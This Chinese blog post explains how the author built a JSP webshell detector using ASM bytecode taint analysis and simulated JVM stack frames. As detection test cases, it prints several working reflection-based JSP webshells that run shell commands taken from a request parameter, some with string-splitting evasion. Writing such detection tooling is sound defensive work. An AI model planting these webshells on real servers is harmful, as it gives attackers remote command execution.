JSP Webshell的檢測工具
0x00 前言
在11月初,我做了一些JSP Webshell的免殺研究,主要參考了三夢師傅開源的代碼。然后加入了一些代碼混淆手段,編寫了一個免殺馬生成器JSPHorse,沒想到在Github上已收獲500+的Star
做安全只懂攻擊不夠,還應該懂防御
之前只做了一些免殺方面的事情,欠缺了防御方面的思考
于是我嘗試自己做一個JSP Webshell的檢測工具,主要原理是ASM做字節碼分析并模擬執行,分析棧幀(JVM Stack Frame)得到結果
只輸入一個JSP文件即可進行這一系列的分析,大致需要以下四步
- 解析輸入的JSP文件轉成Java代碼文件
- 使用
ToolProvider獲得JavaCompiler動態編譯Java代碼 - 編譯后得到的字節碼用
ASM進行分析 - 基于
ASM模擬棧幀的變化實現污點分析

類似之前寫的工具CodeInspector,不過它是半成品只能理論上的學習研究,而這個工具是可以落地進行實際的檢測,下面給大家展示下檢測效果
0x01 效果
時間原因只做了針對于反射型JSP Webshell的檢測
效果還是不錯的,各種變形都可以輕松檢測出
關于反射馬的講解,可以看我在B站做的視頻:https://www.bilibili.com/video/BV1L341147od
來個基本的反射馬:1.jsp
<%@ page language="java" pageEncoding="UTF-8" %><% String cmd = request.getParameter("cmd"); Class rt = Class.forName("java.lang.Runtime"); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Process process = (Process) ex.invoke(gr.invoke(null), cmd); java.io.InputStream in = process.getInputStream(); out.print("
"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("
");%>
查出是Webshell

如果把字符串給拆出來:2.jsp
<%@ page language="java" pageEncoding="UTF-8" %><% String cmd = request.getParameter("cmd"); String name = "java.lang.Runtime"; Class rt = Class.forName(name); String runtime = "getRuntime"; java.lang.reflect.Method gr = rt.getMethod(runtime); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Object obj = gr.invoke(null); Process process = (Process) ex.invoke(obj, cmd); java.io.InputStream in = process.getInputStream(); out.print("
"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("
");%>
查出是Webshell

進一步變化,拆開字符串:3.jsp
<%@ page language="java" pageEncoding="UTF-8" %><% String cmd = request.getParameter("cmd"); String name = "java.lang."+"Runtime"; Class rt = Class.forName(name); String runtime = "getRu"+"ntime"; java.lang.reflect.Method gr = rt.getMethod(runtime); String exec = "ex"+"ec"; java.lang.reflect.Method ex = rt.getMethod(exec, String.class); Object obj = gr.invoke(null); Process process = (Process) ex.invoke(obj, cmd);
java.io.InputStream in = process.getInputStream(); out.print("
"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("
");%>
或者合并成一行
Process process = (Process) Class.forName("java.lang.Runtime") .getMethod("exec", String.class) .invoke(Class.forName("java.lang.Runtime") .getMethod("getRuntime").invoke(null), cmd); java.io.InputStream in = process.getInputStream();
都可以查出是Webshell

如果是正常邏輯,和執行命令無關:4.jsp
<%@ page language="java" pageEncoding="UTF-8" %><% String cmd = request.getParameter("cmd"); Class rt = Class.forName("java.lang.String"); java.lang.reflect.Method gr = rt.getMethod("getBytes"); java.lang.reflect.Method ex = rt.getMethod("getBytes"); Process process = (Process) ex.invoke(gr.invoke(null), cmd); java.io.InputStream in = process.getInputStream(); out.print("
"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("
");%>
那么不會存在誤報

0x03 JSP處理
第一步我們需要把輸入的JSP轉為Java代碼,之所以這樣做因為JSP無法直接變成字節碼
原理其實簡單:造一個模板類,把JSP的<% xxx %>中的xxx填入模板
模板如下,簡單取了三個JSP中常用的變量放入參數
package org.sec;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;
@SuppressWarnings("unchecked")public class Webshell { public static void invoke(HttpServletRequest request, HttpServletResponse response, PrintWriter out) { try { __WEBSHELL__ } catch (Exception e) { e.printStackTrace(); } }}
簡單做了一下解析,可能會存在BUG但在當前的情景下完全夠用
byte[] jspBytes = Files.readAllBytes(path);String jspCode = new String(jspBytes);// 置空為了后續分割字符串jspCode = jspCode.replace("<%@", "");// 得到<% xxx %>的xxxString tempCode = jspCode.split("<%")[1];String finalJspCode = tempCode.split("%>")[0];// 從Resource里讀出模板InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java");if (inputStream == null) { logger.error("read template error"); return;}// 讀InputStreamStringBuilder resultBuilder = new StringBuilder();InputStreamReader ir = new InputStreamReader(inputStream);BufferedReader reader = new BufferedReader(ir);String lineTxt = null;while ((lineTxt = reader.readLine()) != null) { resultBuilder.append(lineTxt).append("");}ir.close();reader.close();// 替換模板文件String templateCode = resultBuilder.toString();String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode);// 使用了google-java-format庫做了下代碼格式化// 僅僅為了好看,沒有功能上的影響String formattedCode = new Formatter().formatSource(finalCode);// 寫入文件Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));
上面代碼有一處坑:想從打包后的Jar的Resource里讀東西必須用getResourceAsStream,如果用URI的方式會報錯。另外這里用Main.class.getClassLoader()是為了讀到classes根目錄
經過處理后JSP變成這樣的代碼,可以使用Javac命令手動編譯
package org.sec;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;
@SuppressWarnings("unchecked")public class Webshell { public static void invoke( HttpServletRequest request, HttpServletResponse response, PrintWriter out) { try {
String cmd = request.getParameter("cmd"); Class rt = Class.forName("java.lang.Runtime"); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Process process = (Process) ex.invoke(gr.invoke(null), cmd); java.io.InputStream in = process.getInputStream(); out.print("
"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("
");
} catch (Exception e) { e.printStackTrace(); }}}
0x04 動態編譯
手動編譯的時候其實有一個坑:系統不包含servlet相關的庫,所以會報錯
這個好解決,只需要一個參數javac Webshell.java -cp javax.servlet-api.jar
在網上查了下如何動態編譯,這個代碼還是比較多的
但都沒有設置參數,我們情況特殊需要classpath參數,最終看官方文檔得到了答案
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();StandardJavaFileManager fileManager = compiler.getStandardFileManager( null, null, null);Iterable compilationUnits = fileManager.getJavaFileObjects( new File("Webshell.java"));// 加入參數List optionList = new ArrayList<>();optionList.add("-classpath");optionList.add("lib.jar");// 不需要打印多余的東西optionList.add("-nowarn");JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null, optionList, null, compilationUnits);task.call();
通過以上的代碼會得到一個Webshell.class的字節碼文件,這就是我們真正需要的東西
這里同樣有一個坑:ToolProvider.getSystemJavaCompiler()這句話在java -jar xxx.jara的情況下是空指針,通過查詢解決辦法,發現需要在JDK/JRE的lib加入tools.jar并且將環境變量配到JDK/bin而不是JDK/JRE/bin或JRE/bin
當我們動態編譯Webshell.java到Webshell.class后,讀取字節碼到內存中,就可以刪除這兩個臨時文件了
byte[] classData = Files.readAllBytes(Paths.get("Webshell.class"));Files.delete(Paths.get("Webshell.class"));Files.delete(Paths.get("Webshell.java"));
0x05 模擬棧幀
JVM在每次方法調用均會創建一個對應的Frame,方法執行完畢或者異常終止,Frame被銷毀
而每個Frame的結構如下,主要由本地變量數組(local variables)和操作棧(operand stack)組成
局部變量表所需的容量大小是在編譯期確定下來的,表中的變量只在當前方法調用中有效
JVM把操作數棧作為它的工作區——大多數指令都要從這里彈出數據,執行運算,然后把結果壓回操作數棧
參考我在Github的代碼,該類構造了Operand Stack和Local Variables Array并模擬操作
在用ASM技術解析class文件的時候,模擬他們在JVM中執行的過程,實現數據流分析

使用代碼模擬兩大數據結構
public class OperandStack { private final LinkedList> stack; // pop push methods}public class LocalVariables { private final ArrayList> array; // set get method}
在進入方法的時候,JVM會初始化這兩大數據結構
- 清空已有的元素
- 根據函數入參做初始化
public void visitCode() { super.visitCode(); localVariables.clear(); operandStack.clear();
if ((this.access & Opcodes.ACC_STATIC) == 0) { localVariables.add(new HashSet<>()); } for (Type argType : Type.getArgumentTypes(desc)) { for (int i = 0; i < argType.getSize(); i++) { localVariables.add(new HashSet<>()); } }}
在方法執行的時候,對這兩種數據結構進行POP/PUSH等操作,隨便選了其中一部分供參考
@Overridepublic void visitInsn(int opcode) { Set saved0, saved1, saved2, saved3; sanityCheck(); switch (opcode) { case Opcodes.NOP: break; case Opcodes.ACONST_NULL: case Opcodes.ICONST_M1: case Opcodes.ICONST_0: case Opcodes.ICONST_1: case Opcodes.ICONST_2: case Opcodes.ICONST_3: case Opcodes.ICONST_4: case Opcodes.ICONST_5: case Opcodes.FCONST_0: case Opcodes.FCONST_1: case Opcodes.FCONST_2: operandStack.push(); break; case Opcodes.LCONST_0: case Opcodes.LCONST_1: case Opcodes.DCONST_0: case Opcodes.DCONST_1: operandStack.push(); operandStack.push(); break; case Opcodes.IALOAD: case Opcodes.FALOAD: case Opcodes.AALOAD: case Opcodes.BALOAD: case Opcodes.CALOAD: case Opcodes.SALOAD: operandStack.pop(); operandStack.pop(); operandStack.push(); ...... }}
為什么能夠這樣操作,參考Oracle的JVM指令文檔:官方文檔
上文其實略枯燥,接下來結合實例和大家畫圖分析,這將會一目了然
0x06 檢測實現
新建一個ClassVisitor用于分析字節碼,以下這三部是ASM規定的分析字節碼方式
ClassReader cr = new ClassReader(classData);ReflectionShellClassVisitor cv = new ReflectionShellClassVisitor();cr.accept(cv, ClassReader.EXPAND_FRAMES);
大家需要注意ASM是觀察者模式,需要理解阻斷和傳遞的思想
其實ReflectionShellClassVisitor不是重點,因為我們的JSP Webshell邏輯都寫在Webshell.invoke方法中,所以檢測邏輯在ReflectionShellMethodAdapter類中
// 繼承自ClassVisitorpublic class ReflectionShellClassVisitor extends ClassVisitor { private String name; private String signature; private String superName; private String[] interfaces;
public ReflectionShellClassVisitor() { // 基于JDK8做解析 super(Opcodes.ASM8); }
@Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); // 當前類目描述符父類名等信息有可能用到 this.name = name; this.signature = signature; this.superName = superName; this.interfaces = interfaces; }
@Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); // 不用關注構造方法只分析invoke方法即可 if (name.equals("invoke")) { // 稍后分析該類 ReflectionShellMethodAdapter reflectionShellMethodAdapter = new ReflectionShellMethodAdapter( Opcodes.ASM8, mv, this.name, access, name, descriptor, signature, exceptions, analysisData ); // 出于兼容性的考慮向后傳遞 return new JSRInlinerAdapter(reflectionShellMethodAdapter, access, name, descriptor, signature, exceptions); } return mv; }}
重點放在ReflectionShellMethodAdapter類
首先我們要確認可控參數,也就是污點分析里的Source,不難得出來自于request.getParameter
這一步的字節碼如下
ALOAD 0 LDC "cmd" INVOKEINTERFACE javax/servlet/http/HttpServletRequest.getParameter (Ljava/lang/String;)Ljava/lang/String; (itf) ASTORE 3
這四步過程如下:
- 調用方法非STATIC所以需要壓棧一個
this對象 - 方法執行時彈出參數,方法執行后棧頂是返回值保存至局部變量表

我們可以在INVOKEINTERFACE的時候編寫如下代碼
@Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { if (opcode == Opcodes.INVOKEINTERFACE) { // 是否符合request.getParameter()調用 boolean getParam = name.equals("getParameter") && owner.equals("javax/servlet/http/HttpServletRequest") && desc.equals("(Ljava/lang/String;)Ljava/lang/String;"); if (getParam) { // 注意一定先讓父類模擬彈棧調用操作,模擬完棧頂是返回值 super.visitMethodInsn(opcode, owner, name, desc, itf); logger.info("find source: request.getParameter"); // 給這個棧頂設置個flag:get-param以便于后續跟蹤 operandStack.get(0).add("get-param"); return; } }}
接下來看反射的第一句Class.forName("java.lang.Runtime")
LDC "java.lang.Runtime" INVOKESTATIC java/lang/Class.forName (Ljava/lang/String;)Ljava/lang/Class; ASTORE 4
由于調用STATIC方法不需要this然后返回值保存在局部變量表第5位

這里我給反射三步的LDC分別給上自己的flag做跟蹤
注意到LDC命令執行完后保存至棧頂
@Overridepublic void visitLdcInsn(Object cst) { if(cst.equals("java.lang.Runtime")){ super.visitLdcInsn(cst); operandStack.get(0).add("ldc-runtime"); return; } if(cst.equals("getRuntime")){ super.visitLdcInsn(cst); operandStack.get(0).add("ldc-get-runtime"); return; } if(cst.equals("exec")){ super.visitLdcInsn(cst); operandStack.get(0).add("ldc-exec"); return; } super.visitLdcInsn(cst);}
下一句rt.getMethod("getRuntime")稍微復雜
ALOAD 4 LDC "getRuntime" ICONST_0 ANEWARRAY java/lang/Class INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; ASTORE 5
中間主要是多了一步ANEWARRAY操作

這個染成黃色的過程在代碼中如下
@Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { if(opcode==Opcodes.INVOKEVIRTUAL){ boolean getMethod = name.equals("getMethod") && owner.equals("java/lang/Class") && desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;"); if(getMethod){ if(operandStack.get(1).contains("ldc-get-runtime")){ super.visitMethodInsn(opcode, owner, name, desc, itf); logger.info("-> get getRuntime method"); operandStack.get(0).add("method-get-runtime"); return; } } }
下一步是rt.getMethod("exec", String.class)和上面幾乎一致,不過數組里添加了元素
ALOAD 4 LDC "exec" ICONST_1 ANEWARRAY java/lang/Class DUP ICONST_0 LDC Ljava/lang/String;.class AASTORE INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; ASTORE 6
這一步幾乎重復,就不再畫圖了,可以看出最后保存到局部變量表第7位
其中陌生的命令有DUP和AASTORE兩個,暫不分析,我們在method.invoke中細說
代碼中的處理類似
@Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { if(opcode==Opcodes.INVOKEVIRTUAL){ boolean getMethod = name.equals("getMethod") && owner.equals("java/lang/Class") && desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;"); if(getMethod){ if(operandStack.get(1).contains("ldc-exec")){ super.visitMethodInsn(opcode, owner, name, desc, itf); logger.info("-> get exec method"); operandStack.get(0).add("method-exec"); return; } } }
接下來該最關鍵的一行了:ex.invoke(gr.invoke(null), cmd)
ALOAD 6 ALOAD 5 ACONST_NULL ICONST_0 ANEWARRAY java/lang/Object INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; ICONST_1 ANEWARRAY java/lang/Object DUP ICONST_0 ALOAD 3 AASTORE INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
第一步的INVOKEVIRTUAL只是得到了Runtime對象
第二步的INVOKEVIRTUAL才是exec(obj,cmd)執行命令的代碼
所以我們重點從第二步分析
ICONST_1 ANEWARRAY java/lang/Object DUP ICONST_0 ALOAD 3 AASTORE INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
在AASTORE之前的過程如下(防止干擾棧中存在的其他元素沒有畫出)
- 之所以要DUP正是因為AASTORE需要消耗一個數組引用
- 這里的ICONST_1代表初始化數組長度為1

AASTORE和INVOKE的過程如下(之前在棧中沒有畫出的元素都補充到)

注意其中的細節
- 消耗一個數組做操作實際上另一個數組引用對象也改變了,換句話說加入了cmd參數
所以我們需要手動處理下AASTORE情況以便于讓參數傳遞下去
@Override public void visitInsn(int opcode) { if(opcode==Opcodes.AASTORE){ if(operandStack.get(0).contains("get-param")){ logger.info("store request param into array"); super.visitInsn(opcode); // AASTORE模擬操作之后棧頂是數組引用 operandStack.get(0).clear(); // 由于數組中包含了可控變量所以設置flag operandStack.get(0).add("get-param"); return; } } super.visitInsn(opcode); }
至于最后一步的判斷就很簡單了
@Overridepublic void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { if(opcode==Opcodes.INVOKEVIRTUAL){ boolean invoke = name.equals("invoke") && owner.equals("java/lang/reflect/Method") && desc.equals("(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;"); if(invoke){ // AASTORE中設置的參數 if(operandStack.get(0).contains("get-param")){ // 如果棧中第3個元素是exec的Method if(operandStack.get(2).contains("method-exec")){ // 認為造成了RCE logger.info("find reflection webshell!"); super.visitMethodInsn(opcode, owner, name, desc, itf); return; } super.visitMethodInsn(opcode, owner, name, desc, itf); logger.info("-> method exec invoked"); } } } super.visitMethodInsn(opcode, owner, name, desc, itf);}
其實棧中第2個元素也可以判斷下,我簡化了一些不必要的操作
0x07 總結
代碼在:https://github.com/EmYiQing/JSPKiller
后續考慮加入其他的一些檢測,師傅們可以試試Bypass手段哈哈